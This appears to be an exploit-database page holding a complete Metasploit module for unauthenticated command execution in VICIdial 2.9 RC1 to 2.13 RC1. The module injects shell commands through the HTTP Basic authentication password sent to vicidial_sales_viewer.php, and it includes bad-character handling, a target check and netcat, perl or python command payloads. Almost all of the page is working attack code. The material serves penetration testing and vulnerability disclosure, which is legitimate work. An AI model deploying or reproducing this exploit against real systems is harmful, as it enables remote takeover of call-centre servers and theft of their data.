VICIdial user_authorization Unauthenticated Command Execution

2017.07.22
Credit: Brendan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'VICIdial user_authorization Unauthenticated Command Execution', 'Description' => %q{ This module exploits a vulnerability in VICIdial versions 2.9 RC 1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default). When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to exec(). This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS. }, 'License' => MSF_LICENSE, 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', 'References' => [ ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { # HTTP Basic authentication password 'Space' => 2048, # apostrophe ('), quote ("), semi-colon (;) and backslash (\) # are removed by preg_replace 'BadChars' => "\x00\x0A\x22\x27\x3B\x5C", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python netcat' } }, 'Targets' => [[ 'Automatic Targeting', {} ]], 'Privileged' => false, 'DisclosureDate' => 'May 26 2017', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ]) deregister_options('USERNAME', 'PASSWORD') end def check user = rand_text_alpha(rand(10) + 5) pass = "#{rand_text_alpha(rand(10) + 5)}&#" res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'), 'authorization' => basic_auth(user, pass) unless res vprint_status 'Connection failed' return CheckCode::Unknown end if res.code != 401 vprint_status "#{peer} Unexpected reply. Expected authentication failure." return CheckCode::Safe end # Check for input filtering of '#' and '&' characters in password # Response for invalid credentials is in the form of: |<username>|<password>|BAD| if res.body !~ /\|#{user}\|#{pass}\|BAD\|/ vprint_status "#{peer} Target is patched." return CheckCode::Safe end # Check for ../agc/bp.pl password encryption script res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl') if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/ vprint_status "#{peer} Password encryption is supported, but may not be enabled." return CheckCode::Appears end vprint_status "#{peer} Could not verify whether password encryption is supported." CheckCode::Detected end def execute_command(cmd, opts = {}) user = rand_text_alpha(rand(10) + 5) pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #" print_status "#{peer} Sending payload (#{cmd.length} bytes)" res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'), 'authorization' => basic_auth(user, pass) if !res fail_with(Failure::Unreachable, 'Connection failed') elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/ print_good "#{peer} Payload sent successfully" else fail_with(Failure::UnexpectedReply, 'Unexpected reply') end end def exploit execute_command(payload.encoded) end end


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